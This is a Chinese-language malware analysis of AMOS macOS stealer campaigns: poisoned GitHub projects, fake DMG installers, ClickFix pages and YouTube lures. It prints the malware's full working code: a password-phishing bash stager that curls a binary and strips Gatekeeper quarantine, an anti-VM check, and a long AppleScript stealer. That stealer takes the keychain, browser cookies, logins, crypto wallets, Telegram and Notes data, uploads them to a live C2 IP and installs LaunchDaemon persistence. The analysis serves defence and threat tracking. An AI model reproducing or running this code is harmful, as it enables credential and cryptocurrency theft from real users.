0x01 前言
25年年中(5-6月)以来,针对MACOS开展的数据窃取的黑灰产异常活跃动作,下文称AMOS(Atomic macOS Stealer)。其主要通过一些水坑式的钓鱼手段,诱导用户运行其准备的恶意代码或安装恶意文件,从而感染相关用户。笔者对mac侧的相关事件之前关注的比较少,对mac端上的安全机制也不是很了解,以此为契机之后也要开展学习mac下的攻防对抗;下文我们对其主要攻击路径开展分析以及团伙分析。
0x02 分析
一、Github投毒
攻击者在github上创建大量的新项目,伪装为一些常用的mac开源软件,然后做google的seo从而使相关用户访问投毒项目并按其要求开展安装。
如下是大量的投毒软件:

相关项目提供了两种安装手段:


1、诱导用户执行curl恶意命令。
相关命令解码后如下,让用户拉取恶意sh并执行。

拉取到的sh如下:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
/bin/bash -c #!/bin/bash
username=$(whoami)
while true; do
echo -n "System Password: "
read password
echo
if dscl . -authonly "$username" "$password" >/dev/null 2>&1; then
echo -n "$password" > /tmp/.pass
break
else
echo "Incorrect password! Try again."
fi
done
curl -o /tmp/update https://macostutorial.com/iterm2/update >/dev/null 2>&1
echo "$password" | sudo -S xattr -c /tmp/update >/dev/null 2>&1
chmod +x /tmp/update
/tmp/update
terminal里面套取用户密码,并校验;然后拉取挂载在恶意站点上的恶意mach-o文件,利用xattr来bypass gatekeeper机制,并赋权执行。
落地到本地的样本,主要解密出相关applescript脚本并通过system执行。
主要是两部分脚本,一个是用于反虚拟化,一个是用于开展攻击利用的脚本。
反虚拟化脚本:
1
2
3
4
5
6
7
8
9
10
11
12
sh -c osascript -e '
set memData to do shell script "system_profiler SPMemoryDataType"
set hardwareData to do shell script "system_profiler SPHardwareDataType"
if memData contains "QEMU" or memData contains "VMware" or memData contains "KVM" or hardwareData contains "Z31FHXYQ0J" or hardwareData contains "C07T508TG1J2" or hardwareData contains "C02TM2ZBHX87" or hardwareData contains "Chip: Unknown" or hardwareData contains "Intel Core 2" then
set exitCode to 100
else
set exitCode to 0
end if
do shell script "exit " & exitCode
'
攻击利用脚本,主要实现效果:
1、利用launchdaemons修改plist实现持久化;
2、窃取相关敏感信息(keychain、chrome、firefox等常用浏览器cookies和账密、大量浏览器插件、钱包、以及指定路径下的指定后缀文件按,如:桌面下的pdf、key等文件,还有tg的数据);
3、打包相关敏感信息并通过curl回传c2。
代码如下:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
259
260
261
262
263
264
265
266
267
268
269
270
271
272
273
274
275
276
277
278
279
280
281
282
283
284
285
286
287
288
289
290
291
292
293
294
295
296
297
298
299
300
301
302
303
304
305
306
307
308
309
310
311
312
313
314
315
316
317
318
319
320
321
322
323
324
325
326
327
328
329
330
331
332
333
334
335
336
337
338
339
340
341
342
343
344
345
346
347
348
349
350
351
352
353
354
355
356
357
358
359
360
361
362
363
364
365
366
367
368
369
370
371
372
373
374
375
376
377
378
379
380
381
382
383
384
385
386
387
388
389
390
391
392
393
394
395
sh -c osascript -e 'set release to true
set filegrabbers to true
tell application "Terminal" to set visible of the front window to false
on filesizer(paths)
set fsz to 0
try
set theItem to quoted form of POSIX path of paths
set fsz to (do shell script "/usr/bin/mdls -name kMDItemFSSize -raw " & theItem)
end try
return fsz
end filesizer
on mkdir(someItem)
try
set filePosixPath to quoted form of (POSIX path of someItem)
do shell script "mkdir -p " & filePosixPath
end try
end mkdir
on FileName(filePath)
try
set reversedPath to (reverse of every character of filePath) as string
set trimmedPath to text 1 thru ((offset of "/" in reversedPath) - 1) of reversedPath
set finalPath to (reverse of every character of trimmedPath) as string
return finalPath
end try
end FileName
on BeforeFileName(filePath)
try
set lastSlash to offset of "/" in (reverse of every character of filePath) as string
set trimmedPath to text 1 thru -(lastSlash + 1) of filePath
return trimmedPath
end try
end BeforeFileName
on writeText(textToWrite, filePath)
try
set folderPath to BeforeFileName(filePath)
mkdir(folderPath)
set fileRef to (open for access filePath with write permission)
write textToWrite to fileRef starting at eof
close access fileRef
end try
end writeText
on readwrite(path_to_file, path_as_save)
try
set fileContent to read path_to_file
set folderPath to BeforeFileName(path_as_save)
mkdir(folderPath)
do shell script "cat " & quoted form of path_to_file & " > " & quoted form of path_as_save
end try
end readwrite
on readwrite2(path_to_file, path_as_save)
try
set folderPath to do shell script "dirname " & quoted form of path_as_save
mkdir(folderPath)
tell application "Finder"
set sourceFile to POSIX file path_to_file as alias
set destinationFolder to POSIX file folderPath as alias
duplicate sourceFile to destinationFolder with replacing
end tell
end try
end readwrite2
on installBot(profile, pwd, botUrl)
try
set listContent to "<?xml version=\"1.0\" encoding=\"UTF-8\"?>
<!DOCTYPE plist PUBLIC \"-//Apple//DTD PLIST 1.0//EN\" \"http://www.apple.com/DTDs/PropertyList-1.0.dtd\">
<plist version=\"1.0\">
<dict>
<key>Label</key>
<string>com.finder.helper</string>
<key>ProgramArguments</key>
<array>
<string>/bin/bash</string>
<string>" & profile & "/.agent</string>
</array>
<key>RunAtLoad</key>
<true/>
<key>KeepAlive</key>
<true/>
</dict>
</plist>"
set botPath to (quoted form of (profile & "/.helper"))
do shell script "curl -o " & botPath & " https://" & botUrl & "/zxc/app"
do shell script "chmod +x " & botPath
set scriptContent to "while true; do
osascript <<EOF
set loginContent to do shell script \"stat -f \\\"%Su\\\" /dev/console\"
if loginContent is not equal to \"\" and loginContent is not equal to \"root\"
do shell script \"sudo -u \" & quoted form of loginContent & \" " & (quoted form of (profile & "/.helper")) & "\"
end if
EOF
sleep 1
done"
set scriptPath to profile & "/.agent"
writeText(scriptContent, scriptPath)
writeText(listContent, "/tmp/starter")
do shell script "chmod +x " & quoted form of scriptPath
do shell script "echo " & quoted form of pwd & " | sudo -S cp /tmp/starter /Library/LaunchDaemons/com.finder.helper.plist"
do shell script "echo " & quoted form of pwd & " | sudo -S chown root:wheel /Library/LaunchDaemons/com.finder.helper.plist"
do shell script "echo " & quoted form of pwd & " | sudo -S launchctl load /Library/LaunchDaemons/com.finder.helper.plist"
--do shell script "nohup " & botPath & " >/dev/null 2>&1 &"
end try
end installBot
on isDirectory(someItem)
try
set filePosixPath to quoted form of (POSIX path of someItem)
set fileType to (do shell script "file -b " & filePosixPath)
if fileType ends with "directory" then
return true
end if
return false
end try
end isDirectory
on GrabFolderLimit(sourceFolder, destinationFolder)
try
set bankSize to 0
set exceptionsList to {".DS_Store", "Partitions", "Code Cache", "Cache", "market-history-cache.json", "journals", "Previews"}
set fileList to list folder sourceFolder without invisibles
mkdir(destinationFolder)
repeat with currentItem in fileList
if currentItem is not in exceptionsList then
set itemPath to sourceFolder & "/" & currentItem
set savePath to destinationFolder & "/" & currentItem
if isDirectory(itemPath) then
GrabFolderLimit(itemPath, savePath)
else
set fsz to filesizer(itemPath)
set bankSize to bankSize + fsz
if bankSize < 10 * 1024 * 1024 then
readwrite(itemPath, savePath)
end if
end if
end if
end repeat
end try
end GrabFolderLimit
on GrabFolder(sourceFolder, destinationFolder)
try
set exceptionsList to {".DS_Store", "Partitions", "Code Cache", "Cache", "market-history-cache.json", "journals", "Previews", "dumps", "emoji", "user_data", "__update__", "user_data#2", "user_data#3"}
set fileList to list folder sourceFolder without invisibles
mkdir(destinationFolder)
repeat with currentItem in fileList
if currentItem is not in exceptionsList then
set itemPath to sourceFolder & "/" & currentItem
set savePath to destinationFolder & "/" & currentItem
if isDirectory(itemPath) then
GrabFolder(itemPath, savePath)
else
readwrite(itemPath, savePath)
end if
end if
end repeat
end try
end GrabFolder
on parseFF(firefox, writemind)
try
set myFiles to {"/cookies.sqlite", "/formhistory.sqlite", "/key4.db", "/logins.json"}
set fileList to list folder firefox without invisibles
repeat with currentItem in fileList
set fpath to writemind & "ff/" & currentItem
set readpath to firefox & currentItem
repeat with FFile in myFiles
readwrite(readpath & FFile, fpath & FFile)
end repeat
end repeat
end try
end parseFF
on checkvalid(username, password_entered)
try
set result to do shell script "dscl . authonly " & quoted form of username & space & quoted form of password_entered
if result is not equal to "" then
return false
else
return true
end if
on error
return false
end try
end checkvalid
on getpwd(username, writemind)
try
if checkvalid(username, "") then
set result to do shell script "security 2>&1 > /dev/null find-generic-password -ga \"Chrome\" | awk \"{print $2}\""
writeText(result as string, writemind & "masterpass-chrome")
else
repeat
set result to display dialog "Required Application Helper.
Please enter password for continue." default answer "" with icon caution buttons {"Continue"} default button "Continue" giving up after 150 with title "System Preferences" with hidden answer
set password_entered to text returned of result
if checkvalid(username, password_entered) then
writeText(password_entered, writemind & "pwd")
return password_entered
end if
end repeat
end if
end try
return ""
end getpwd
on grabPlugins(profilepath, paths, savePath, pluginList, index)
try
set fileList to list folder paths without invisibles
repeat with PFile in fileList
repeat with Plugin in pluginList
if (PFile contains Plugin) then
set newpath to paths & PFile
set newsavepath to savePath & "/" & Plugin
if index then
set newsavepath to newsavepath & "/IndexedDB/"
end if
GrabFolder(newpath, newsavepath)
GrabFolder(profilepath & "/Local Storage/leveldb/", savePath & "/Local Storage/")
end if
end repeat
end repeat
end try
end grabPlugins
on chromium(writemind, chromium_map)
set pluginList to {"ppdadbejkmjnefldpcdjhnkpbjkikoip", "ppbibelpcjmhbdihakflkdcoccbgbkpo", "pocmplpaccanhmnllbbkpgfliimjljgo", "pnndplcbkakcplkjnolgbkdgjikjednm", "pnlccmojcmeohlpggmfnbbiapkmbliob", "phkbamefinggmakgklpkljjmgibohnba", "pgiaagfkgcbnmiiolekcfmljdagdhlcm", "pdadjkfkgcafgbceimcpbkalnfnepbnk", "pcndjhkinnkaohffealmlmhaepkpmgkb", "papngmkmknnmfhabbckobgfpihpdgplk", "panpgppehdchfphcigocleabcmcgfoca", "opfgelmcmbiajamepnmloijbpoleiama", "opcgpfmipidbgpenhmajoajpbobppdil", "ookjlbkiijinhpmnjffcofjonbfbgaoc", "onhogfjeacnfoofkfgppdlbmlmnplgbn", "omaabbefbmiijedngplfjmnooppbclkk", "ojggmchlghnjlapmfbnjholfjkiidbch", "ojbcfhjmpigfobfclfflafhblgemeidi", "ocjobpilfplciaddcbafabcegbilnbnb", "oboonakemofpalcgghocfoadofidjkkk", "oafedfoadhdjjcipmcbecikgokpaphjk", "nphplpgoakhhjchkkhmiggakijnkhfnd", "nopnfnlbinpfoihclomelncopjiioain", "nngceckbapebfimnlniiiahkandclblb", "nlgnepoeokdfodgjkjiblkadkjbdfmgd", "nlgbhdfgdhgbiamfdfmbikcdghidoadd", "nknhiehlklippafakaeklbeglecifhad", "nkbihfbeogaeaoehlefnkodbefgpgknn", "nhnkbkgjikgcigadomkphalanndcapjk", "nhlnehondigmgckngjomcpcefcdplmgc", "nhbicdelgedinnbcidconlnfeionhbml", "nbdpmlhambbdkhkmbfpljckjcmgibalo", "nbdhibgjnjpnkajaghbffjbkcgljfgdi", "naepdomgkenhinolocfifgehidddafch", "mnfifefkajgofkcjkemidiaecocnkjeh", "mmmjbcfofconkannjonfmjjajpllddbg", "mmhlniccooihdimnnjhamobppdhaolme", "mmclamjkknobggpiohfneimmnlggagok", "mjgkpalnahacmhkikiommfiomhjipgjn", "mgffkfbidihjpoaomajlbgchddlicgpn", "mfhbebgoclkghebffdldpobeajmbecfk", "mfgccjchihfkkindfppnaooecgfneiii", "mdjmfdffdcmnoblignmgpommbefadffd", "mcohilncbfahbmgdjkbpemcciiolgcge", "mapbhaebnddapnmifbbkgeedkeplgjmf", "lpilbniiabackdjcionkobglmddfbcjo", "lpfcbjknijpeeillifnkikgncikgfhdo", "loinekcabhlmhjjbocijdoimmejangoa", "lmkncnlpeipongihbffpljgehamdebgi", "lgmpcpglpngdoalbgeoldeajfclnhafa", "lgbjhdkjmpgjgcbcdlhkokkckpjmedgc", "ldinpeekobnhjjdofggfgjlcehhmanlj", "lcmncloheoekhbmljjlhdlaobkedjbgd", "lccbohhgfkdikahanoclbdmaolidjdfl", "kncchdigobghenbbaddojjnnaogfppfj", "kmhcihpebfmpgmihbkipmjlmmioameka", "kmcfomidfpdkfieipokbalgegidffkal", "klnaejjgbibmhlephnhpmaofohgkpgkd", "klghhnkeealcohjjanjjdaeeggmfmlpl", "kkpllkodjeloidieedojogacfhpaihoh", "kkpllbgjhchghjapjbinnoddmciocphm", "kkilomkmpmkbdnfelcpgckmpcaemjcdh", "kilnpioakcdndlodeeceffgjdpojajlo", "khpkpbbcccdmmclmpigdgddabeilkdpd", "kglcipoddmbniebnibibkghfijekllbl", "kfdniefadaanbjodldohaedphafoffoh", "keenhcnmdmjjhincpilijphpiohdppno", "kbdcddcmgoplfockflacnnefaehaiocb", "jojhfeoedkpkglbfimdfabpdfjaoolaf", "jnmbobjmhlngoefaiojfljckilhhlhcj", "jnlgamecbpmbajjfhmmmlhejkemejdma", "jnldfbidonfeldmalbflbmlebbipcnle", "jnkelfanjkeadonecabehalmbgpfodjm", "jkoeaghipilijlahjplgbfiocjhldnap", "jkjgekcefbkpogohigkgooodolhdgcda", "jiidiaalihmmhddjgbnbgdfflelocpak", "jiepnaheligkibgcjgjepjfppgbcghmp", "jhfjfclepacoldmjmkmdlmganfaalklb", "jgnfghanfbjmimbdmnjfofnbcgpkbegj", "jfmajkmgjpjognffefopllhaijknhnmm", "jcacnejopjdphbnjgfaaobbfafkihpep", "jbppfhkifinbpinekbahmdomhlaidhfm", "jblndlipeogpafnldhgmapagcccfchpi", "jbkgjmpfammbgejcpedggoefddacbdia", "iokeahhehimjnekafflcihljlcjccdbe", "inlkhilmjmjomfcpdifpfgllhhlpnbej", "ilhaljfiglknggcoegeknjghdgampffk", "igkpcodhieompeloncfnbekccinhapdb", "ifckdpamphokdglkkdomedpdegcjhjdp", "idnnbdplmphpflfnlkomgpfbpcgelopg", "icpikagpkkbldbfjlbefnmmmcohbjije", "icblpoalghoakidcjiheabnkijnklhhe", "ibnejdfjmmkpcnlpebklmnkoeoihofec", "hpclkefagolihohboafpheddmmgdffjm", "hpbgcgmiemanfelegbndmhieiigkackl", "hnfanknocfeofbddgcijnmhnfnkdnaad", "hmeobnfnfcmdkdcmlblgagmfpfboieaf", "hifafgmccdpekplomjjkcfgodnhcellj", "hdokiejnpimakedhajhdlcegeplioahd", "hbbgbephgojikajhfbomhlmmollphcad", "gpnihlnnodeiiaakbikldcihojploeca", "gkeelndblnomfmjnophbhfhcjbcnemka", "gjlmehlldlphhljhpnlddaodbjjcchai", "gjkdbeaiifkpoencioahhcilildpjhgh", "gjagmgiddbbciopjhllkdnddhcglnemk", "ginchbkmljhldofnbjabmeophlhdldgp", "ghlmndacnhlaekppcllcpcjjjomjkjpg", "gdokollfhmnbfckbobkdbakhilldkhcj", "gbjepgaebckfidagpfeioimheabiohmg", "gafhhkghbfjjkeiendhlofajokpaflmk", "gadbifgblmedliakbceidegloehmffic", "fpkhgmpbidmiogeglndfbkegfdlnajnf", "fpibioaihcagphbidhodidjbnclocgll", "fopmedgnkfpebgllppeddmmochcookhc", "fnjhmkhhmkbjkkabndcnnogagogbneec", "fmhmiaejopepamlcjkncpgpdjichnecm", "fmblappgoiilbgafhjklehhfifbdocee", "flpiciilemghbmfalicajoolhkkenfel", "fijngjgcjhjmmpcmkeiomlglpeiijkld", "fiikommddbeccaoicoejoniammnalkfa", "fhilaheimglignddkjgofkcbgekhenbh", "fhbohimaelbohpjbbldcngcnapndodjp", "fghhpjoffbgecjikiipbkpdakfmkbmig", "ffnbelfdoeiohenkjibnmadjiehjhajb", "fcfcfllfndlomdhbehjjcoimbgofdncg", "fcckkdbjnoikooededlapcalpionmalo", "epapihdplajcdnnkdeiahlgigofloibg", "eomhlheglneofffmbfjflldlbcnhpkpb", "eokbbaidfgdndnljmffldfgjklpjkdoi", "enabgbdfcbaehmbigakijjabdpdnimlg", "emeeapjkbcbpbpgaagfchmcgglmebnen", "elalghlhoepcjfaedkcmjolahamlnjcp", "ejjladinnckdgjemekebdpeokbikhfci", "einnioafmpimabjcddiinlhmijaionap", "egjidjbpglichdcondbcbdnbeeppgdph", "efbglgofoippbgcjepnhiblaibcnclgk", "ebfidpplhabeedpnhjnobghokpiioolj", "eamiofncoknfkefhlkdblngblpffehek", "eajafomhmkipbjmfmhebemolkcicgfmd", "dphoaaiomekdhacmfoblfblmncpnbahm", "dngmlblcodfobpdpecaadgfbcggfjfnm", "dmkamcknogkgcdfhhbddcghachkejeap", "dldjpboieedgcmpkchcjcbijingjcgok", "dlcobpjiigpikoobohmabehhmhfoodbb", "dkdedlpgdmmkkfjabffeganieamfklkm", "dbgnhckhnppddckangcjbkjnlddbjkna", "cpmkedoipcpimgecpmgpldfpohjplkpp", "cphhlgmgameodnhkjdmkpanlelnlohao", "copjnifcecdedocejpaapepagaodgpbh", "cnncmdhjacpkmjmkcafchppbnpnhdmon", "cnmamaachppnkjgnildpdmkaakejnhae", "cmndjbecilbocjfkibfbifhngkdmjgog", "ckklhkaabbmdjkahiaaplikpdddkenic", "cjmkndjhnagcfbpiemnkdpomccnjblmj", "cihmoadaighcejopammfbmddcmdekcje", "chgfefjpcobfbnpmiokfjjaglahmnded", "cgeeodpfagjceefieflmdfphplkenlfk", "cflgahhmjlmnjbikhakapcfkpbcmllam", "cfbfdhimifdmdehjmkdobpcjfefblkjm", "caljgklbbfbcjjanaijlacgncafpegll", "bopcbmipnjdcdfflfgjdgdjejmgpoaab", "bofddndhbegljegmpmnlbhcejofmjgbn", "bocpokimicclpaiekenaeelehdjllofo", "bmikpgodpkclnkgmnpphehdgcimmided", "bmabahhenimmnfijaiccmonalfhpcndh", "bkklifkecemccedpkhcebagjpehhabfb", "bkgplkpdgidlgmnlhdfakhcjfpfgjjkb", "bifidjkcdpgfnlbcjpdkdcnbiooooblg", "bhhhlbepdkbapadjdnnojkbgioiodbic", "bhghoamapcdpbohphigoooaddinpkbai", "bgpipimickeadkjlklgciifhnalhdjhe", "bgjogpoidejdemgoochpnkmdjpocgkha", "bfnaelmomeimhlpmgjnjophhpkkoljpa", "bcopgchhojmggmffilplmbdicgaihlkp", "apnehcjmnengpnmccpaibjmhhoadaico", "anokgmphncpekkhclmingpimjmcooifb", "amkmjjmmflddogmhpjloimipbofnfjih", "algblmhagnobbnmakepomicmfljlbehg", "ajopcimklncnhjednieoejhkffdolemp", "ajkifnllfhikkjbjopkhmjoieikeihjb", "aijcbedoijmgnlmjeegjaglmepbmpkpi", "aiifbnbfobpmeekipheeijimdpnlpgpp", "aiaghdjafpiofpainifbgfgjfpclngoh", "aholpfdialjgjfhomihkjbmgjidlcdno", "ahidmapichficbkfglbhgmhjcojjmlnm", "agoakfejjabomempkjlepdflaleeobhb", "aflkmfhebedbjioipglgcbcmnbpgliof", "afbcbjpbpfadlkmhmclhkeeodmamcflc", "aeachknmefphepccionboohckonoeemg", "admmjipmmciaobhojoghlmleefbicajg", "acmacodkjbdgmoleebolmdjonilkdbch", "abogmiocnneedmmepnohnhlijcjpcifd", "abjfbanhppgiflmobebfffbijcfoeiao", "abamjefkidngfegdjbmffdmbgjgpaobf"}
set chromiumFiles to {"/Network/Cookies", "/Cookies", "/Web Data", "/Login Data", "/Local Extension Settings/", "/IndexedDB/"}
repeat with chromium in chromium_map
set savePath to writemind & "Chromium/" & item 1 of chromium & "_"
try
set fileList to list folder item 2 of chromium without invisibles
repeat with currentItem in fileList
if ((currentItem as string) is equal to "Default") or ((currentItem as string) contains "Profile") then
repeat with CFile in chromiumFiles
set readpath to (item 2 of chromium & currentItem & CFile)
set profilepath to (item 2 of chromium & currentItem)
if ((CFile as string) is equal to "/Network/Cookies") then
set CFile to "/Cookies"
end if
if ((CFile as string) is equal to "/Local Extension Settings/") then
grabPlugins(profilepath, readpath, savePath & currentItem, pluginList, false)
else if (CFile as string) is equal to "/IndexedDB/" then
grabPlugins(profilepath, readpath, savePath & currentItem, pluginList, true)
else
set writepath to savePath & currentItem & CFile
readwrite(readpath, writepath)
end if
end repeat
end if
end repeat
end try
end repeat
end chromium
on telegram(writemind, library)
try
GrabFolder(library & "Telegram Desktop/tdata/", writemind & "Telegram Data/")
end try
end telegram
on deskwallets(writemind, deskwals)
repeat with deskwal in deskwals
try
GrabFolder(item 2 of deskwal, writemind & item 1 of deskwal)
end try
end repeat
end deskwallets
on filegrabber(writemind)
try
set destinationFolderPath to POSIX file (writemind & "FileGrabber/")
mkdir(destinationFolderPath)
set photosPath to POSIX file (writemind & "FileGrabber/NotesFiles/")
mkdir(photosPath)
set extensionsList to {"txt", "pdf", "docx", "wallet", "key", "keys", "doc", "json", "db"}
set bankSize to 0
tell application "Finder"
try
set safariFolderPath to (path to home folder as text) & "Library:Cookies:"
duplicate file (safariFolderPath & "Cookies.binarycookies") to folder destinationFolderPath with replacing
set name of result to "saf1"
end try
try
set safariFolder to ((path to library folder from user domain as text) & "Containers:com.apple.Safari:Data:Library:Cookies:")
try
duplicate file "Cookies.binarycookies" of folder safariFolder to folder destinationFolderPath with replacing
end try
set notesFolderPath to (path to home folder as text) & "Library:Group Containers:group.com.apple.notes:"
set notesAccounts to folder (notesFolderPath & "Accounts:LocalAccount:Media")
duplicate notesAccounts to photosPath with replacing
duplicate notesAccounts to POSIX file photosPath as alias with replacing
set notesFolder to folder notesFolderPath
set notesFiles to {"NoteStore.sqlite", "NoteStore.sqlite-shm", "NoteStore.sqlite-wal"}
repeat with FileName in notesFiles
set sourceFile to file FileName of notesFolder
duplicate sourceFile to POSIX file destinationFolderPath as alias with replacing
end repeat
end try
try
set desktopFiles to every file of desktop
set documentsFiles to every file of folder "Documents" of (path to home folder)
set downloadsFiles to every file of folder "Downloads" of (path to home folder)
repeat with aFile in (desktopFiles & documentsFiles & downloadsFiles)
set fileExtension to name extension of aFile
if fileExtension is in extensionsList then
set filesize to size of aFile
if filesize < 5 * 1024 * 1024 then
if (bankSize + filesize) < 30 * 1024 * 1024 then
try
duplicate aFile to folder destinationFolderPath with replacing
set bankSize to bankSize + filesize
end try
else
exit repeat
end if
end if
end if
end repeat
end try
end tell
end try
end filegrabber
on send_data(attempt, gate, login, buildid, cl, cn)
try
set result_send to (do shell script "curl -X POST -H \"user: " & login & "\" -H \"BuildID: " & buildid & "\" -H \"cl: " & cl & "\" -H \"cn: " & cn & "\" -F \"file=@/tmp/out.zip\" " & gate & "/contact")
on error
if attempt < 15 then
delay 60
send_data(attempt + 1, gate, login, buildid, cl, cn)
end if
end try
end send_data
set username to (system attribute "USER")
set profile to "/Users/" & username
set randomNumber to do shell script "echo $((RANDOM % 9000 + 1000))"
set writemind to "/tmp/" & randomNumber & "/"
try
set result to (do shell script "system_profiler SPSoftwareDataType SPHardwareDataType SPDisplaysDataType")
writeText(result, writemind & "info")
end try
set library to profile & "/Library/Application Support/"
try
set passwordFile to "/tmp/.pass"
set passwordContent to do shell script "cat " & quoted form of passwordFile
if checkvalid(username, passwordContent) then
writeText(passwordContent, writemind & "pwd")
set password_entered to passwordContent
else
set password_entered to getpwd(username, writemind)
end if
on error errMsg
set password_entered to getpwd(username, writemind)
end try
delay 0.5
set chromiumMap to {{"Chrome", library & "Google/Chrome/"}, {"Brave", library & "BraveSoftware/Brave-Browser/"}, {"Edge", library & "Microsoft Edge/"}, {"Vivaldi", library & "Vivaldi/"}, {"Opera", library & "com.operasoftware.Opera/"}, {"OperaGX", library & "com.operasoftware.OperaGX/"}, {"Chrome Beta", library & "Google/Chrome Beta/"}, {"Chrome Canary", library & "Google/Chrome Canary"}, {"Chromium", library & "Chromium/"}, {"Chrome Dev", library & "Google/Chrome Dev/"}, {"Arc", library & "Arc/"}, {"Coccoc", library & "Coccoc/"}}
set walletMap to {{"deskwallets/Electrum", profile & "/.electrum/wallets/"}, {"deskwallets/Coinomi", library & "Coinomi/wallets/"}, {"deskwallets/Exodus", library & "Exodus/"}, {"deskwallets/Atomic", library & "atomic/Local Storage/leveldb/"}, {"deskwallets/Wasabi", profile & "/.walletwasabi/client/Wallets/"}, {"deskwallets/Ledger_Live", library & "Ledger Live/"}, {"deskwallets/Monero", profile & "/Monero/wallets/"}, {"deskwallets/Bitcoin_Core", library & "Bitcoin/wallets/"}, {"deskwallets/Litecoin_Core", library & "Litecoin/wallets/"}, {"deskwallets/Dash_Core", library & "DashCore/wallets/"}, {"deskwallets/Electrum_LTC", profile & "/.electrum-ltc/wallets/"}, {"deskwallets/Electron_Cash", profile & "/.electron-cash/wallets/"}, {"deskwallets/Guarda", library & "Guarda/"}, {"deskwallets/Dogecoin_Core", library & "Dogecoin/wallets/"}, {"deskwallets/Trezor_Suite", library & "@trezor/suite-desktop/"}}
readwrite(library & "Binance/app-store.json", writemind & "deskwallets/Binance/app-store.json")
readwrite(library & "@tonkeeper/desktop/config.json", "deskwallets/TonKeeper/config.json")
readwrite(profile & "/Library/Keychains/login.keychain-db", writemind & "keychain")
if release then
readwrite2(profile & "/Library/Group Containers/group.com.apple.notes/NoteStore.sqlite", writemind & "FileGrabber/NoteStore.sqlite")
readwrite2(profile & "/Library/Group Containers/group.com.apple.notes/NoteStore.sqlite-wal", writemind & "FileGrabber/NoteStore.sqlite-wal")
readwrite2(profile & "/Library/Group Containers/group.com.apple.notes/NoteStore.sqlite-shm", writemind & "FileGrabber/NoteStore.sqlite-shm")
readwrite2(profile & "/Library/Containers/com.apple.Safari/Data/Library/Cookies/Cookies.binarycookies", writemind & "FileGrabber/Cookies.binarycookies")
readwrite(profile & "/Library/Cookies/Cookies.binarycookies", writemind & "FileGrabber/saf1")
end if
if filegrabbers then
filegrabber(writemind)
end if
writeText(username, writemind & "username")
set ff_paths to {library & "Firefox/Profiles/", library & "Waterfox/Profiles/", library & "Pale Moon/Profiles/"}
repeat with firefox in ff_paths
try
parseFF(firefox, writemind)
end try
end repeat
chromium(writemind, chromiumMap)
deskwallets(writemind, walletMap)
telegram(writemind, library)
do shell script "ditto -c -k --sequesterRsrc " & writemind & " /tmp/out.zip"
set login to "im0yn4BH/MEA7WWyvBj-EXUm7T2F8olwWXXaig-dQYo="
set buildid to "bdtfD-Am0czxcE-21uU37BYTCr3JV48oAdTc1VjHgrc="
set gate to "http://45.94.47.145"
set cl to "66LDtjo9jisM2ER1cQV6-qIqVEt/qMPXZpsWOD0aNRc="
set cn to "0"
set botUrl to "isnimitz.com"
send_data(0, gate, login, buildid, cl, cn)
try
do shell script "rm -f " & profile & "/.username"
end try
try
do shell script "rm -f " & profile & "/.pass"
end try
writeText(login, profile & "/.username")
writeText(password_entered, profile & "/.pass")
installBot(profile, password_entered, botUrl)
do shell script "rm -r " & writemind
do shell script "rm /tmp/out.zip"
'&
2、诱导用户安装dmg,执行恶意脚本或Mach-O。
用户打开dmg,macos中将恶意内容释放挂载到/Volumes/下;这里主要有两种手法诱导用户去执行恶意内容。两个手法的核心都是利用macos中finder界面以及展示行为是可以自定义并保存的,从而诱骗用户。
手法一:伪装mac的拖动安装,诱导用户拖动恶意脚本到terminal里面执行

手法二:伪装右键安装,诱导用户直接执行恶意的mach-o文件

不管是恶意脚本,还是直接的可执行文件,最后都是运行释放出来的applescript。
相关分析和上面curl的安装方式分析一致。
二、直接的水坑投毒
建设相关站点(大部分都是以来github搭建,github免费的个人blog,xxx.github.io),并做google seo,用户访问后下载执行从而感染。

三、Clickfix水坑
攻击者通过恶意广告以及钓鱼网站seo使用户点击访问。
Clickfix是一种社会工程学策略,恶意网站会冒充合法软件或文档共享平台。
当用户访问的时候提示虚假的错误信息,声称文档下载或者访问失败。然后,让用户按提示“修复”,比如:指示他们运行 PowerShell 或命令行脚本。
类似如下方式:

用户点击相关按钮就会复制恶意指令,弹窗提示用户打开一个terminal,右键运行相关复制的命令。
四、youtube投毒
通过发布一些youtube视频,诱导相关人员执行恶意命令从而干扰相关病毒;场景,我是一个mac的使用者,由于磁盘空间紧张,我想要清理下相关磁盘,攻击者在youtube上发布一些的以《清除磁盘空间》为主题的视频,内容就是诱导一些对系统不懂的人,打开terminal,然后的执行恶意的base命令,直接通过curl拉取恶意payload,通过bash执行。目前没有找到任存活的视频。
五、新的github投毒手法
近期发现攻击者不再只是在github上创建新的仿照官方的投毒项目,而是进一步直接给某些官方项目提交commit,然后给自己提交的commit做google seo,从而使相关受害者访问官方项目的恶意分支中招,虽然github页面上会有提醒,但是对于一些国人或者一些不太清除相关机制的群体,是比较容易中招的。
如下desktop-github的某投毒分支。

后续进一步的相关手法和上文GitHub投毒一致。
0x03 对抗手段
对抗上述攻击,不难看出核心其实就是两点:
1、端上要管控异常行为,主要是applescript;不管是异常调用applescript,还是调用异常applescript都是不错的管控手段。
2、情报要跟踪相关项目,盘清除攻击者有哪些投毒手法,一方面给用户做安全心智贯宣,一方面及时的拿到攻击者最新的攻击设施,做好对域名和ip管控。
0x04 总结
